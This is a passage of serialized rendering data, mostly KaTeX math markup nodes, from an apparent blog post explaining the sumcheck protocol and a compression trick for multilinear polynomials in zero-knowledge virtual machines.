,[114776,114806],{"type":24,"tag":147,"props":114777,"children":114779},{"className":114778},[9660],[114780,114801],{"type":24,"tag":147,"props":114781,"children":114784},{"className":114782,"style":114783},[9665],"height:0.1645em;",[114785],{"type":24,"tag":147,"props":114786,"children":114787},{"style":114476},[114788,114792],{"type":24,"tag":147,"props":114789,"children":114791},{"className":114790,"style":114481},[9674],[],{"type":24,"tag":147,"props":114793,"children":114795},{"className":114794},[9680,114486,114487,9683],[114796],{"type":24,"tag":147,"props":114797,"children":114799},{"className":114798},[9635,27190,9683],[114800],{"type":29,"value":61991},{"type":24,"tag":147,"props":114802,"children":114804},{"className":114803},[27347],[114805],{"type":29,"value":27350},{"type":24,"tag":147,"props":114807,"children":114809},{"className":114808},[9660],[114810],{"type":24,"tag":147,"props":114811,"children":114813},{"className":114812,"style":114506},[9665],[114814],{"type":24,"tag":147,"props":114815,"children":114816},{},[],{"type":24,"tag":147,"props":114818,"children":114820},{"className":114819},[9817,9683],[114821],{"type":29,"value":27297},{"type":24,"tag":147,"props":114823,"children":114825},{"className":114824},[27319,9683],[114826],{"type":29,"value":82202},{"type":24,"tag":147,"props":114828,"children":114830},{"className":114829},[9635,9683],[114831],{"type":29,"value":3173},{"type":24,"tag":147,"props":114833,"children":114835},{"className":114834},[9746,9683],[114836],{"type":29,"value":9749},{"type":24,"tag":147,"props":114838,"children":114840},{"className":114839},[9635,9683],[114841],{"type":29,"value":1154},{"type":24,"tag":147,"props":114843,"children":114845},{"className":114844},[27341,9683],[114846],{"type":29,"value":39741},{"type":24,"tag":147,"props":114848,"children":114850},{"className":114849},[27347],[114851],{"type":29,"value":27350},{"type":24,"tag":147,"props":114853,"children":114855},{"className":114854},[9660],[114856],{"type":24,"tag":147,"props":114857,"children":114859},{"className":114858,"style":27358},[9665],[114860],{"type":24,"tag":147,"props":114861,"children":114862},{},[],{"type":24,"tag":147,"props":114864,"children":114866},{"className":114865,"style":9753},[9714],[],{"type":24,"tag":147,"props":114868,"children":114870},{"className":114869,"style":99116},[9635,27190],[114871],{"type":29,"value":114872},"g",{"type":24,"tag":147,"props":114874,"children":114876},{"className":114875},[27319],[114877],{"type":29,"value":480},{"type":24,"tag":147,"props":114879,"children":114881},{"className":114880},[9635],[114882,114887],{"type":24,"tag":147,"props":114883,"children":114885},{"className":114884},[9635,27190],[114886],{"type":29,"value":24880},{"type":24,"tag":147,"props":114888,"children":114890},{"className":114889},[9650],[114891],{"type":24,"tag":147,"props":114892,"children":114894},{"className":114893},[9655,27244],[114895,114924],{"type":24,"tag":147,"props":114896,"children":114898},{"className":114897},[9660],[114899,114919],{"type":24,"tag":147,"props":114900,"children":114902},{"className":114901,"style":98682},[9665],[114903],{"type":24,"tag":147,"props":114904,"children":114905},{"style":98686},[114906,114910],{"type":24,"tag":147,"props":114907,"children":114909},{"className":114908,"style":9675},[9674],[],{"type":24,"tag":147,"props":114911,"children":114913},{"className":114912},[9680,9681,9682,9683],[114914],{"type":24,"tag":147,"props":114915,"children":114917},{"className":114916},[9635,9683],[114918],{"type":29,"value":1154},{"type":24,"tag":147,"props":114920,"children":114922},{"className":114921},[27347],[114923],{"type":29,"value":27350},{"type":24,"tag":147,"props":114925,"children":114927},{"className":114926},[9660],[114928],{"type":24,"tag":147,"props":114929,"children":114931},{"className":114930,"style":98713},[9665],[114932],{"type":24,"tag":147,"props":114933,"children":114934},{},[],{"type":24,"tag":147,"props":114936,"children":114938},{"className":114937},[9746],[114939],{"type":29,"value":9749},{"type":24,"tag":147,"props":114941,"children":114943},{"className":114942,"style":9753},[9714],[],{"type":24,"tag":147,"props":114945,"children":114947},{"className":114946},[9635],[114948,114953],{"type":24,"tag":147,"props":114949,"children":114951},{"className":114950},[9635,27190],[114952],{"type":29,"value":24880},{"type":24,"tag":147,"props":114954,"children":114956},{"className":114955},[9650],[114957],{"type":24,"tag":147,"props":114958,"children":114960},{"className":114959},[9655,27244],[114961,114990],{"type":24,"tag":147,"props":114962,"children":114964},{"className":114963},[9660],[114965,114985],{"type":24,"tag":147,"props":114966,"children":114968},{"className":114967,"style":98682},[9665],[114969],{"type":24,"tag":147,"props":114970,"children":114971},{"style":98686},[114972,114976],{"type":24,"tag":147,"props":114973,"children":114975},{"className":114974,"style":9675},[9674],[],{"type":24,"tag":147,"props":114977,"children":114979},{"className":114978},[9680,9681,9682,9683],[114980],{"type":24,"tag":147,"props":114981,"children":114983},{"className":114982},[9635,9683],[114984],{"type":29,"value":8753},{"type":24,"tag":147,"props":114986,"children":114988},{"className":114987},[27347],[114989],{"type":29,"value":27350},{"type":24,"tag":147,"props":114991,"children":114993},{"className":114992},[9660],[114994],{"type":24,"tag":147,"props":114995,"children":114997},{"className":114996,"style":98713},[9665],[114998],{"type":24,"tag":147,"props":114999,"children":115000},{},[],{"type":24,"tag":147,"props":115002,"children":115004},{"className":115003},[9746],[115005],{"type":29,"value":9749},{"type":24,"tag":147,"props":115007,"children":115009},{"className":115008,"style":9753},[9714],[],{"type":24,"tag":147,"props":115011,"children":115013},{"className":115012},[114711],[115014],{"type":29,"value":115015},"…",{"type":24,"tag":147,"props":115017,"children":115019},{"className":115018,"style":9753},[9714],[],{"type":24,"tag":147,"props":115021,"children":115023},{"className":115022},[9746],[115024],{"type":29,"value":9749},{"type":24,"tag":147,"props":115026,"children":115028},{"className":115027,"style":9753},[9714],[],{"type":24,"tag":147,"props":115030,"children":115032},{"className":115031},[9635],[115033,115038],{"type":24,"tag":147,"props":115034,"children":115036},{"className":115035},[9635,27190],[115037],{"type":29,"value":24880},{"type":24,"tag":147,"props":115039,"children":115041},{"className":115040},[9650],[115042],{"type":24,"tag":147,"props":115043,"children":115045},{"className":115044},[9655,27244],[115046,115076],{"type":24,"tag":147,"props":115047,"children":115049},{"className":115048},[9660],[115050,115071],{"type":24,"tag":147,"props":115051,"children":115054},{"className":115052,"style":115053},[9665],"height:0.1514em;",[115055],{"type":24,"tag":147,"props":115056,"children":115057},{"style":98686},[115058,115062],{"type":24,"tag":147,"props":115059,"children":115061},{"className":115060,"style":9675},[9674],[],{"type":24,"tag":147,"props":115063,"children":115065},{"className":115064},[9680,9681,9682,9683],[115066],{"type":24,"tag":147,"props":115067,"children":115069},{"className":115068},[9635,27190,9683],[115070],{"type":29,"value":61991},{"type":24,"tag":147,"props":115072,"children":115074},{"className":115073},[27347],[115075],{"type":29,"value":27350},{"type":24,"tag":147,"props":115077,"children":115079},{"className":115078},[9660],[115080],{"type":24,"tag":147,"props":115081,"children":115083},{"className":115082,"style":98713},[9665],[115084],{"type":24,"tag":147,"props":115085,"children":115086},{},[],{"type":24,"tag":147,"props":115088,"children":115090},{"className":115089},[27341],[115091],{"type":29,"value":8758},{"type":24,"tag":25,"props":115093,"children":115094},{},[115095,115097,115158],{"type":29,"value":115096},"The naive approach would be for the verifier to compute all ",{"type":24,"tag":80,"props":115098,"children":115100},{"className":115099},[9607,9608],[115101],{"type":24,"tag":147,"props":115102,"children":115104},{"className":115103},[9613],[115105],{"type":24,"tag":147,"props":115106,"children":115108},{"className":115107,"ariaHidden":9619},[9618],[115109],{"type":24,"tag":147,"props":115110,"children":115112},{"className":115111},[9624],[115113,115117],{"type":24,"tag":147,"props":115114,"children":115116},{"className":115115,"style":114338},[9629],[],{"type":24,"tag":147,"props":115118,"children":115120},{"className":115119},[9635],[115121,115126],{"type":24,"tag":147,"props":115122,"children":115124},{"className":115123},[9635],[115125],{"type":29,"value":8753},{"type":24,"tag":147,"props":115127,"children":115129},{"className":115128},[9650],[115130],{"type":24,"tag":147,"props":115131,"children":115133},{"className":115132},[9655],[115134],{"type":24,"tag":147,"props":115135,"children":115137},{"className":115136},[9660],[115138],{"type":24,"tag":147,"props":115139,"children":115141},{"className":115140,"style":114338},[9665],[115142],{"type":24,"tag":147,"props":115143,"children":115144},{"style":9669},[115145,115149],{"type":24,"tag":147,"props":115146,"children":115148},{"className":115147,"style":9675},[9674],[],{"type":24,"tag":147,"props":115150,"children":115152},{"className":115151},[9680,9681,9682,9683],[115153],{"type":24,"tag":147,"props":115154,"children":115156},{"className":115155},[9635,27190,9683],[115157],{"type":29,"value":61991},{"type":29,"value":115159}," evaluations. This is exponentially expensive.",{"type":24,"tag":25,"props":115161,"children":115162},{},[115163,115165,115170],{"type":29,"value":115164},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":24,"tag":10949,"props":115166,"children":115167},{},[115168],{"type":29,"value":115169},"only one",{"type":29,"value":87},{"type":24,"tag":25,"props":115172,"children":115173},{},[115174],{"type":24,"tag":63,"props":115175,"children":115178},{"alt":115176,"src":115177},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":24,"tag":25,"props":115180,"children":115181},{},[115182,115184,115276,115278,115463,115465,115490,115492,115570,115572,115651],{"type":29,"value":115183},"In each round, the prover must send a polynomial ",{"type":24,"tag":80,"props":115185,"children":115187},{"className":115186},[9607,9608],[115188],{"type":24,"tag":147,"props":115189,"children":115191},{"className":115190},[9613],[115192],{"type":24,"tag":147,"props":115193,"children":115195},{"className":115194,"ariaHidden":9619},[9618],[115196],{"type":24,"tag":147,"props":115197,"children":115199},{"className":115198},[9624],[115200,115204,115261,115266,115271],{"type":24,"tag":147,"props":115201,"children":115203},{"className":115202,"style":9735},[9629],[],{"type":24,"tag":147,"props":115205,"children":115207},{"className":115206},[9635],[115208,115213],{"type":24,"tag":147,"props":115209,"children":115211},{"className":115210,"style":99116},[9635,27190],[115212],{"type":29,"value":114872},{"type":24,"tag":147,"props":115214,"children":115216},{"className":115215},[9650],[115217],{"type":24,"tag":147,"props":115218,"children":115220},{"className":115219},[9655,27244],[115221,115250],{"type":24,"tag":147,"props":115222,"children":115224},{"className":115223},[9660],[115225,115245],{"type":24,"tag":147,"props":115226,"children":115228},{"className":115227,"style":99159},[9665],[115229],{"type":24,"tag":147,"props":115230,"children":115231},{"style":99163},[115232,115236],{"type":24,"tag":147,"props":115233,"children":115235},{"className":115234,"style":9675},[9674],[],{"type":24,"tag":147,"props":115237,"children":115239},{"className":115238},[9680,9681,9682,9683],[115240],{"type":24,"tag":147,"props":115241,"children":115243},{"className":115242},[9635,27190,9683],[115244],{"type":29,"value":9363},{"type":24,"tag":147,"props":115246,"children":115248},{"className":115247},[27347],[115249],{"type":29,"value":27350},{"type":24,"tag":147,"props":115251,"children":115253},{"className":115252},[9660],[115254],{"type":24,"tag":147,"props":115255,"children":115257},{"className":115256,"style":98713},[9665],[115258],{"type":24,"tag":147,"props":115259,"children":115260},{},[],{"type":24,"tag":147,"props":115262,"children":115264},{"className":115263},[27319],[115265],{"type":29,"value":480},{"type":24,"tag":147,"props":115267,"children":115269},{"className":115268,"style":100650},[9635,27190],[115270],{"type":29,"value":11758},{"type":24,"tag":147,"props":115272,"children":115274},{"className":115273},[27341],[115275],{"type":29,"value":8758},{"type":29,"value":115277}," such that ",{"type":24,"tag":80,"props":115279,"children":115281},{"className":115280},[9607,9608],[115282],{"type":24,"tag":147,"props":115283,"children":115285},{"className":115284},[9613],[115286],{"type":24,"tag":147,"props":115287,"children":115289},{"className":115288,"ariaHidden":9619},[9618],[115290,115383],{"type":24,"tag":147,"props":115291,"children":115293},{"className":115292},[9624],[115294,115298,115355,115360,115365,115370,115374,115379],{"type":24,"tag":147,"props":115295,"children":115297},{"className":115296,"style":9735},[9629],[],{"type":24,"tag":147,"props":115299,"children":115301},{"className":115300},[9635],[115302,115307],{"type":24,"tag":147,"props":115303,"children":115305},{"className":115304,"style":99116},[9635,27190],[115306],{"type":29,"value":114872},{"type":24,"tag":147,"props":115308,"children":115310},{"className":115309},[9650],[115311],{"type":24,"tag":147,"props":115312,"children":115314},{"className":115313},[9655,27244],[115315,115344],{"type":24,"tag":147,"props":115316,"children":115318},{"className":115317},[9660],[115319,115339],{"type":24,"tag":147,"props":115320,"children":115322},{"className":115321,"style":99159},[9665],[115323],{"type":24,"tag":147,"props":115324,"children":115325},{"style":99163},[115326,115330],{"type":24,"tag":147,"props":115327,"children":115329},{"className":115328,"style":9675},[9674],[],{"type":24,"tag":147,"props":115331,"children":115333},{"className":115332},[9680,9681,9682,9683],[115334],{"type":24,"tag":147,"props":115335,"children":115337},{"className":115336},[9635,27190,9683],[115338],{"type":29,"value":9363},{"type":24,"tag":147,"props":115340,"children":115342},{"className":115341},[27347],[115343],{"type":29,"value":27350},{"type":24,"tag":147,"props":115345,"children":115347},{"className":115346},[9660],[115348],{"type":24,"tag":147,"props":115349,"children":115351},{"className":115350,"style":98713},[9665],[115352],{"type":24,"tag":147,"props":115353,"children":115354},{},[],{"type":24,"tag":147,"props":115356,"children":115358},{"className":115357},[27319],[115359],{"type":29,"value":480},{"type":24,"tag":147,"props":115361,"children":115363},{"className":115362},[9635],[115364],{"type":29,"value":3173},{"type":24,"tag":147,"props":115366,"children":115368},{"className":115367},[27341],[115369],{"type":29,"value":8758},{"type":24,"tag":147,"props":115371,"children":115373},{"className":115372,"style":9715},[9714],[],{"type":24,"tag":147,"props":115375,"children":115377},{"className":115376},[9720],[115378],{"type":29,"value":624},{"type":24,"tag":147,"props":115380,"children":115382},{"className":115381,"style":9715},[9714],[],{"type":24,"tag":147,"props":115384,"children":115386},{"className":115385},[9624],[115387,115391,115448,115453,115458],{"type":24,"tag":147,"props":115388,"children":115390},{"className":115389,"style":9735},[9629],[],{"type":24,"tag":147,"props":115392,"children":115394},{"className":115393},[9635],[115395,115400],{"type":24,"tag":147,"props":115396,"children":115398},{"className":115397,"style":99116},[9635,27190],[115399],{"type":29,"value":114872},{"type":24,"tag":147,"props":115401,"children":115403},{"className":115402},[9650],[115404],{"type":24,"tag":147,"props":115405,"children":115407},{"className":115406},[9655,27244],[115408,115437],{"type":24,"tag":147,"props":115409,"children":115411},{"className":115410},[9660],[115412,115432],{"type":24,"tag":147,"props":115413,"children":115415},{"className":115414,"style":99159},[9665],[115416],{"type":24,"tag":147,"props":115417,"children":115418},{"style":99163},[115419,115423],{"type":24,"tag":147,"props":115420,"children":115422},{"className":115421,"style":9675},[9674],[],{"type":24,"tag":147,"props":115424,"children":115426},{"className":115425},[9680,9681,9682,9683],[115427],{"type":24,"tag":147,"props":115428,"children":115430},{"className":115429},[9635,27190,9683],[115431],{"type":29,"value":9363},{"type":24,"tag":147,"props":115433,"children":115435},{"className":115434},[27347],[115436],{"type":29,"value":27350},{"type":24,"tag":147,"props":115438,"children":115440},{"className":115439},[9660],[115441],{"type":24,"tag":147,"props":115442,"children":115444},{"className":115443,"style":98713},[9665],[115445],{"type":24,"tag":147,"props":115446,"children":115447},{},[],{"type":24,"tag":147,"props":115449,"children":115451},{"className":115450},[27319],[115452],{"type":29,"value":480},{"type":24,"tag":147,"props":115454,"children":115456},{"className":115455},[9635],[115457],{"type":29,"value":1154},{"type":24,"tag":147,"props":115459,"children":115461},{"className":115460},[27341],[115462],{"type":29,"value":8758},{"type":29,"value":115464}," equals the previous claim. If the prover is lying about the original sum ",{"type":24,"tag":80,"props":115466,"children":115468},{"className":115467},[9607,9608],[115469],{"type":24,"tag":147,"props":115470,"children":115472},{"className":115471},[9613],[115473],{"type":24,"tag":147,"props":115474,"children":115476},{"className":115475,"ariaHidden":9619},[9618],[115477],{"type":24,"tag":147,"props":115478,"children":115480},{"className":115479},[9624],[115481,115485],{"type":24,"tag":147,"props":115482,"children":115484},{"className":115483,"style":27185},[9629],[],{"type":24,"tag":147,"props":115486,"children":115488},{"className":115487,"style":98864},[9635,27190],[115489],{"type":29,"value":98867},{"type":29,"value":115491},", then they must lie about ",{"type":24,"tag":80,"props":115493,"children":115495},{"className":115494},[9607,9608],[115496],{"type":24,"tag":147,"props":115497,"children":115499},{"className":115498},[9613],[115500],{"type":24,"tag":147,"props":115501,"children":115503},{"className":115502,"ariaHidden":9619},[9618],[115504],{"type":24,"tag":147,"props":115505,"children":115507},{"className":115506},[9624],[115508,115513],{"type":24,"tag":147,"props":115509,"children":115512},{"className":115510,"style":115511},[9629],"height:0.625em;vertical-align:-0.1944em;",[],{"type":24,"tag":147,"props":115514,"children":115516},{"className":115515},[9635],[115517,115522],{"type":24,"tag":147,"props":115518,"children":115520},{"className":115519,"style":99116},[9635,27190],[115521],{"type":29,"value":114872},{"type":24,"tag":147,"props":115523,"children":115525},{"className":115524},[9650],[115526],{"type":24,"tag":147,"props":115527,"children":115529},{"className":115528},[9655,27244],[115530,115559],{"type":24,"tag":147,"props":115531,"children":115533},{"className":115532},[9660],[115534,115554],{"type":24,"tag":147,"props":115535,"children":115537},{"className":115536,"style":99159},[9665],[115538],{"type":24,"tag":147,"props":115539,"children":115540},{"style":99163},[115541,115545],{"type":24,"tag":147,"props":115542,"children":115544},{"className":115543,"style":9675},[9674],[],{"type":24,"tag":147,"props":115546,"children":115548},{"className":115547},[9680,9681,9682,9683],[115549],{"type":24,"tag":147,"props":115550,"children":115552},{"className":115551},[9635,27190,9683],[115553],{"type":29,"value":9363},{"type":24,"tag":147,"props":115555,"children":115557},{"className":115556},[27347],[115558],{"type":29,"value":27350},{"type":24,"tag":147,"props":115560,"children":115562},{"className":115561},[9660],[115563],{"type":24,"tag":147,"props":115564,"children":115566},{"className":115565,"style":98713},[9665],[115567],{"type":24,"tag":147,"props":115568,"children":115569},{},[],{"type":29,"value":115571}," somewhere. But since the verifier picks a random ",{"type":24,"tag":80,"props":115573,"children":115575},{"className":115574},[9607,9608],[115576],{"type":24,"tag":147,"props":115577,"children":115579},{"className":115578},[9613],[115580],{"type":24,"tag":147,"props":115581,"children":115583},{"className":115582,"ariaHidden":9619},[9618],[115584],{"type":24,"tag":147,"props":115585,"children":115587},{"className":115586},[9624],[115588,115593],{"type":24,"tag":147,"props":115589,"children":115592},{"className":115590,"style":115591},[9629],"height:0.5806em;vertical-align:-0.15em;",[],{"type":24,"tag":147,"props":115594,"children":115596},{"className":115595},[9635],[115597,115602],{"type":24,"tag":147,"props":115598,"children":115600},{"className":115599,"style":98630},[9635,27190],[115601],{"type":29,"value":99449},{"type":24,"tag":147,"props":115603,"children":115605},{"className":115604},[9650],[115606],{"type":24,"tag":147,"props":115607,"children":115609},{"className":115608},[9655,27244],[115610,115640],{"type":24,"tag":147,"props":115611,"children":115613},{"className":115612},[9660],[115614,115635],{"type":24,"tag":147,"props":115615,"children":115617},{"className":115616,"style":99159},[9665],[115618],{"type":24,"tag":147,"props":115619,"children":115621},{"style":115620},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[115622,115626],{"type":24,"tag":147,"props":115623,"children":115625},{"className":115624,"style":9675},[9674],[],{"type":24,"tag":147,"props":115627,"children":115629},{"className":115628},[9680,9681,9682,9683],[115630],{"type":24,"tag":147,"props":115631,"children":115633},{"className":115632},[9635,27190,9683],[115634],{"type":29,"value":9363},{"type":24,"tag":147,"props":115636,"children":115638},{"className":115637},[27347],[115639],{"type":29,"value":27350},{"type":24,"tag":147,"props":115641,"children":115643},{"className":115642},[9660],[115644],{"type":24,"tag":147,"props":115645,"children":115647},{"className":115646,"style":98713},[9665],[115648],{"type":24,"tag":147,"props":115649,"children":115650},{},[],{"type":29,"value":115652},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":24,"tag":112,"props":115654,"children":115656},{"id":115655},"the-compression-trick",[115657],{"type":29,"value":115658},"The Compression Trick",{"type":24,"tag":25,"props":115660,"children":115661},{},[115662,115664,115814,115816,116096],{"type":29,"value":115663},"For degree-1 (multilinear) polynomials, ",{"type":24,"tag":80,"props":115665,"children":115667},{"className":115666},[9607,9608],[115668],{"type":24,"tag":147,"props":115669,"children":115671},{"className":115670},[9613],[115672],{"type":24,"tag":147,"props":115673,"children":115675},{"className":115674,"ariaHidden":9619},[9618],[115676,115769,115796],{"type":24,"tag":147,"props":115677,"children":115679},{"className":115678},[9624],[115680,115684,115741,115746,115751,115756,115760,115765],{"type":24,"tag":147,"props":115681,"children":115683},{"className":115682,"style":9735},[9629],[],{"type":24,"tag":147,"props":115685,"children":115687},{"className":115686},[9635],[115688,115693],{"type":24,"tag":147,"props":115689,"children":115691},{"className":115690,"style":99116},[9635,27190],[115692],{"type":29,"value":114872},{"type":24,"tag":147,"props":115694,"children":115696},{"className":115695},[9650],[115697],{"type":24,"tag":147,"props":115698,"children":115700},{"className":115699},[9655,27244],[115701,115730],{"type":24,"tag":147,"props":115702,"children":115704},{"className":115703},[9660],[115705,115725],{"type":24,"tag":147,"props":115706,"children":115708},{"className":115707,"style":99159},[9665],[115709],{"type":24,"tag":147,"props":115710,"children":115711},{"style":99163},[115712,115716],{"type":24,"tag":147,"props":115713,"children":115715},{"className":115714,"style":9675},[9674],[],{"type":24,"tag":147,"props":115717,"children":115719},{"className":115718},[9680,9681,9682,9683],[115720],{"type":24,"tag":147,"props":115721,"children":115723},{"className":115722},[9635,27190,9683],[115724],{"type":29,"value":9363},{"type":24,"tag":147,"props":115726,"children":115728},{"className":115727},[27347],[115729],{"type":29,"value":27350},{"type":24,"tag":147,"props":115731,"children":115733},{"className":115732},[9660],[115734],{"type":24,"tag":147,"props":115735,"children":115737},{"className":115736,"style":98713},[9665],[115738],{"type":24,"tag":147,"props":115739,"children":115740},{},[],{"type":24,"tag":147,"props":115742,"children":115744},{"className":115743},[27319],[115745],{"type":29,"value":480},{"type":24,"tag":147,"props":115747,"children":115749},{"className":115748,"style":100650},[9635,27190],[115750],{"type":29,"value":11758},{"type":24,"tag":147,"props":115752,"children":115754},{"className":115753},[27341],[115755],{"type":29,"value":8758},{"type":24,"tag":147,"props":115757,"children":115759},{"className":115758,"style":9812},[9714],[],{"type":24,"tag":147,"props":115761,"children":115763},{"className":115762},[9817],[115764],{"type":29,"value":369},{"type":24,"tag":147,"props":115766,"children":115768},{"className":115767,"style":9812},[9714],[],{"type":24,"tag":147,"props":115770,"children":115772},{"className":115771},[9624],[115773,115778,115783,115787,115792],{"type":24,"tag":147,"props":115774,"children":115777},{"className":115775,"style":115776},[9629],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":24,"tag":147,"props":115779,"children":115781},{"className":115780},[9635,27190],[115782],{"type":29,"value":2773},{"type":24,"tag":147,"props":115784,"children":115786},{"className":115785,"style":9715},[9714],[],{"type":24,"tag":147,"props":115788,"children":115790},{"className":115789},[9720],[115791],{"type":29,"value":624},{"type":24,"tag":147,"props":115793,"children":115795},{"className":115794,"style":9715},[9714],[],{"type":24,"tag":147,"props":115797,"children":115799},{"className":115798},[9624],[115800,115804,115809],{"type":24,"tag":147,"props":115801,"children":115803},{"className":115802,"style":98545},[9629],[],{"type":24,"tag":147,"props":115805,"children":115807},{"className":115806},[9635,27190],[115808],{"type":29,"value":8852},{"type":24,"tag":147,"props":115810,"children":115812},{"className":115811,"style":100650},[9635,27190],[115813],{"type":29,"value":11758},{"type":29,"value":115815}," has only two coefficients. Since the verifier knows ",{"type":24,"tag":80,"props":115817,"children":115819},{"className":115818},[9607,9608],[115820],{"type":24,"tag":147,"props":115821,"children":115823},{"className":115822},[9613],[115824],{"type":24,"tag":147,"props":115825,"children":115827},{"className":115826,"ariaHidden":9619},[9618],[115828,115921,116014],{"type":24,"tag":147,"props":115829,"children":115831},{"className":115830},[9624],[115832,115836,115893,115898,115903,115908,115912,115917],{"type":24,"tag":147,"props":115833,"children":115835},{"className":115834,"style":9735},[9629],[],{"type":24,"tag":147,"props":115837,"children":115839},{"className":115838},[9635],[115840,115845],{"type":24,"tag":147,"props":115841,"children":115843},{"className":115842,"style":99116},[9635,27190],[115844],{"type":29,"value":114872},{"type":24,"tag":147,"props":115846,"children":115848},{"className":115847},[9650],[115849],{"type":24,"tag":147,"props":115850,"children":115852},{"className":115851},[9655,27244],[115853,115882],{"type":24,"tag":147,"props":115854,"children":115856},{"className":115855},[9660],[115857,115877],{"type":24,"tag":147,"props":115858,"children":115860},{"className":115859,"style":99159},[9665],[115861],{"type":24,"tag":147,"props":115862,"children":115863},{"style":99163},[115864,115868],{"type":24,"tag":147,"props":115865,"children":115867},{"className":115866,"style":9675},[9674],[],{"type":24,"tag":147,"props":115869,"children":115871},{"className":115870},[9680,9681,9682,9683],[115872],{"type":24,"tag":147,"props":115873,"children":115875},{"className":115874},[9635,27190,9683],[115876],{"type":29,"value":9363},{"type":24,"tag":147,"props":115878,"children":115880},{"className":115879},[27347],[115881],{"type":29,"value":27350},{"type":24,"tag":147,"props":115883,"children":115885},{"className":115884},[9660],[115886],{"type":24,"tag":147,"props":115887,"children":115889},{"className":115888,"style":98713},[9665],[115890],{"type":24,"tag":147,"props":115891,"children":115892},{},[],{"type":24,"tag":147,"props":115894,"children":115896},{"className":115895},[27319],[115897],{"type":29,"value":480},{"type":24,"tag":147,"props":115899,"children":115901},{"className":115900},[9635],[115902],{"type":29,"value":3173},{"type":24,"tag":147,"props":115904,"children":115906},{"className":115905},[27341],[115907],{"type":29,"value":8758},{"type":24,"tag":147,"props":115909,"children":115911},{"className":115910,"style":9715},[9714],[],{"type":24,"tag":147,"props":115913,"children":115915},{"className":115914},[9720],[115916],{"type":29,"value":624},{"type":24,"tag":147,"props":115918,"children":115920},{"className":115919,"style":9715},[9714],[],{"type":24,"tag":147,"props":115922,"children":115924},{"className":115923},[9624],[115925,115929,115986,115991,115996,116001,116005,116010],{"type":24,"tag":147,"props":115926,"children":115928},{"className":115927,"style":9735},[9629],[],{"type":24,"tag":147,"props":115930,"children":115932},{"className":115931},[9635],[115933,115938],{"type":24,"tag":147,"props":115934,"children":115936},{"className":115935,"style":99116},[9635,27190],[115937],{"type":29,"value":114872},{"type":24,"tag":147,"props":115939,"children":115941},{"className":115940},[9650],[115942],{"type":24,"tag":147,"props":115943,"children":115945},{"className":115944},[9655,27244],[115946,115975],{"type":24,"tag":147,"props":115947,"children":115949},{"className":115948},[9660],[115950,115970],{"type":24,"tag":147,"props":115951,"children":115953},{"className":115952,"style":99159},[9665],[115954],{"type":24,"tag":147,"props":115955,"children":115956},{"style":99163},[115957,115961],{"type":24,"tag":147,"props":115958,"children":115960},{"className":115959,"style":9675},[9674],[],{"type":24,"tag":147,"props":115962,"children":115964},{"className":115963},[9680,9681,9682,9683],[115965],{"type":24,"tag":147,"props":115966,"children":115968},{"className":115967},[9635,27190,9683],[115969],{"type":29,"value":9363},{"type":24,"tag":147,"props":115971,"children":115973},{"className":115972},[27347],[115974],{"type":29,"value":27350},{"type":24,"tag":147,"props":115976,"children":115978},{"className":115977},[9660],[115979],{"type":24,"tag":147,"props":115980,"children":115982},{"className":115981,"style":98713},[9665],[115983],{"type":24,"tag":147,"props":115984,"children":115985},{},[],{"type":24,"tag":147,"props":115987,"children":115989},{"className":115988},[27319],[115990],{"type":29,"value":480},{"type":24,"tag":147,"props":115992,"children":115994},{"className":115993},[9635],[115995],{"type":29,"value":1154},{"type":24,"tag":147,"props":115997,"children":115999},{"className":115998},[27341],[116000],{"type":29,"value":8758},{"type":24,"tag":147,"props":116002,"children":116004},{"className":116003,"style":9812},[9714],[],{"type":24,"tag":147,"props":116006,"children":116008},{"className":116007},[9817],[116009],{"type":29,"value":369},{"type":24,"tag":147,"props":116011,"children":116013},{"className":116012,"style":9812},[9714],[],{"type":24,"tag":147,"props":116015,"children":116017},{"className":116016},[9624],[116018,116023],{"type":24,"tag":147,"props":116019,"children":116022},{"className":116020,"style":116021},[9629],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":24,"tag":147,"props":116024,"children":116026},{"className":116025},[9635],[116027,116032],{"type":24,"tag":147,"props":116028,"children":116030},{"className":116029,"style":98864},[9635,27190],[116031],{"type":29,"value":98867},{"type":24,"tag":147,"props":116033,"children":116035},{"className":116034},[9650],[116036],{"type":24,"tag":147,"props":116037,"children":116039},{"className":116038},[9655,27244],[116040,116084],{"type":24,"tag":147,"props":116041,"children":116043},{"className":116042},[9660],[116044,116079],{"type":24,"tag":147,"props":116045,"children":116047},{"className":116046,"style":99159},[9665],[116048],{"type":24,"tag":147,"props":116049,"children":116051},{"style":116050},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[116052,116056],{"type":24,"tag":147,"props":116053,"children":116055},{"className":116054,"style":9675},[9674],[],{"type":24,"tag":147,"props":116057,"children":116059},{"className":116058},[9680,9681,9682,9683],[116060],{"type":24,"tag":147,"props":116061,"children":116063},{"className":116062},[9635,9683],[116064,116069,116074],{"type":24,"tag":147,"props":116065,"children":116067},{"className":116066},[9635,27190,9683],[116068],{"type":29,"value":9363},{"type":24,"tag":147,"props":116070,"children":116072},{"className":116071},[9720,9683],[116073],{"type":29,"value":9694},{"type":24,"tag":147,"props":116075,"children":116077},{"className":116076},[9635,9683],[116078],{"type":29,"value":1154},{"type":24,"tag":147,"props":116080,"children":116082},{"className":116081},[27347],[116083],{"type":29,"value":27350},{"type":24,"tag":147,"props":116085,"children":116087},{"className":116086},[9660],[116088],{"type":24,"tag":147,"props":116089,"children":116092},{"className":116090,"style":116091},[9665],"height:0.2083em;",[116093],{"type":24,"tag":147,"props":116094,"children":116095},{},[],{"type":29,"value":116097}," (the previous claim), we 